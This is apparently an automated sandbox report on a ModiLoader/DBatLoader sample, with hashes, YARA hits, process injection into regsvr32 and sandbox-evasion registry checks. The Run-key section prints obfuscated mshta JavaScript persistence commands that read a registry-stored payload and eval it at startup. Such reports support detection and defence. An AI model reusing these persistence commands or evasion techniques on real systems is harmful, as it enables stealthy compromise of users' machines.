Analysis
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max time kernel
150s -
max time network
152s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
04-05-2024 08:12
Static task
static1
Behavioral task
behavioral1
Sample
11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe
Resource
win10v2004-20240419-en
General
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Target
11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe
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Size
665KB
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MD5
11d569ff76962c8a7a08e396813d579e
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SHA1
af1682b8767d464dfa4412412ee528a0cf2f4651
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SHA256
0f1b0df55a65e23c275db8c90c0e674175d4e29afac3c1374fe77c481131ce32
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SHA512
3ebb9b20b5ad8abb1a4979260269709ff34a2162f7042f96f88822d77701cd0eb335eda295350664f8846deeea6e6d511e9a08099941cfdd6a70fcf5f1a30c70
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SSDEEP
12288:eEn+ZSPONRVaxQ7HtPJ8b/6++NYxTvQQtcZIVt91UUKGFBUfG:WRVaxwwby+5TtU8WUlFBUe
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 40 IoCs
Processes:
resource yara_rule behavioral1/memory/2020-5-0x0000000000400000-0x00000000004AC000-memory.dmp modiloader_stage2 behavioral1/memory/2020-7-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2020-8-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2020-11-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2020-10-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2020-9-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2020-12-0x0000000000400000-0x00000000004AC000-memory.dmp modiloader_stage2 behavioral1/memory/2020-13-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2780-23-0x0000000000170000-0x000000000023C000-memory.dmp modiloader_stage2 behavioral1/memory/2780-25-0x0000000000170000-0x000000000023C000-memory.dmp modiloader_stage2 behavioral1/memory/2780-26-0x0000000000170000-0x000000000023C000-memory.dmp modiloader_stage2 behavioral1/memory/2780-24-0x0000000000170000-0x000000000023C000-memory.dmp modiloader_stage2 behavioral1/memory/2780-27-0x0000000000170000-0x000000000023C000-memory.dmp modiloader_stage2 behavioral1/memory/2780-29-0x0000000000170000-0x000000000023C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-40-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-39-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-38-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-41-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-42-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-43-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-44-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-50-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-49-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-48-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-47-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-46-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-45-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-52-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2372-56-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2372-58-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2372-61-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2372-59-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2372-57-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2372-60-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2616-62-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-63-0x0000000000150000-0x000000000021C000-memory.dmp modiloader_stage2 behavioral1/memory/2100-68-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2100-70-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2100-69-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2100-67-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:hHyNhxa19O=\"GrTVRRz\";C65Y=new%20ActiveXObject(\"WScript.Shell\");DXF6GaKNO=\"iVUKy8wu\";WL14Vh=C65Y.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\9e4ab122db\\\\a90a5c2c\");gTj6bHJ=\"YFE0\";eval(WL14Vh);WK8rMrdG2f=\"VPz7aT\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 2616 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:nFK88lpLM=\"LLwLxy\";K3V5=new%20ActiveXObject(\"WScript.Shell\");UznSJ9pf=\"HCHw45APe\";jm0XL3=K3V5.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\9e4ab122db\\\\a90a5c2c\");w0Wt4KZq=\"K96Hh\";eval(jm0XL3);Rnu9t1qILg=\"G8lp7To\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:ZFrF70RM=\"lVnKYAI1\";Y2t=new%20ActiveXObject(\"WScript.Shell\");auikKYi06=\"9M\";uLi73y=Y2t.RegRead(\"HKCU\\\\software\\\\9e4ab122db\\\\a90a5c2c\");IO9jbijp7B=\"AaQs\";eval(uLi73y);xc0dtCHR7=\"BRTxg\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Processes:
regsvr32.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
regsvr32.exepid process 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exeregsvr32.exeregsvr32.exepid process 2020 11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe 2020 11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe 2020 11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe 2780 regsvr32.exe 2780 regsvr32.exe 2780 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exeregsvr32.exeregsvr32.exedescription pid process target process PID 2020 wrote to memory of 2780 2020 11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe regsvr32.exe PID 2020 wrote to memory of 2780 2020 11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe regsvr32.exe PID 2020 wrote to memory of 2780 2020 11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe regsvr32.exe PID 2020 wrote to memory of 2780 2020 11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe regsvr32.exe PID 2020 wrote to memory of 2780 2020 11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe regsvr32.exe PID 2020 wrote to memory of 2780 2020 11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe regsvr32.exe PID 2020 wrote to memory of 2780 2020 11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe regsvr32.exe PID 2780 wrote to memory of 2616 2780 regsvr32.exe regsvr32.exe PID 2780 wrote to memory of 2616 2780 regsvr32.exe regsvr32.exe PID 2780 wrote to memory of 2616 2780 regsvr32.exe regsvr32.exe PID 2780 wrote to memory of 2616 2780 regsvr32.exe regsvr32.exe PID 2780 wrote to memory of 2616 2780 regsvr32.exe regsvr32.exe PID 2780 wrote to memory of 2616 2780 regsvr32.exe regsvr32.exe PID 2780 wrote to memory of 2616 2780 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2372 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2372 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2372 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2372 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2372 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2372 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2372 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2100 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2100 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2100 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2100 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2100 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2100 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2100 2616 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2780 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2616 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:2372
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:2100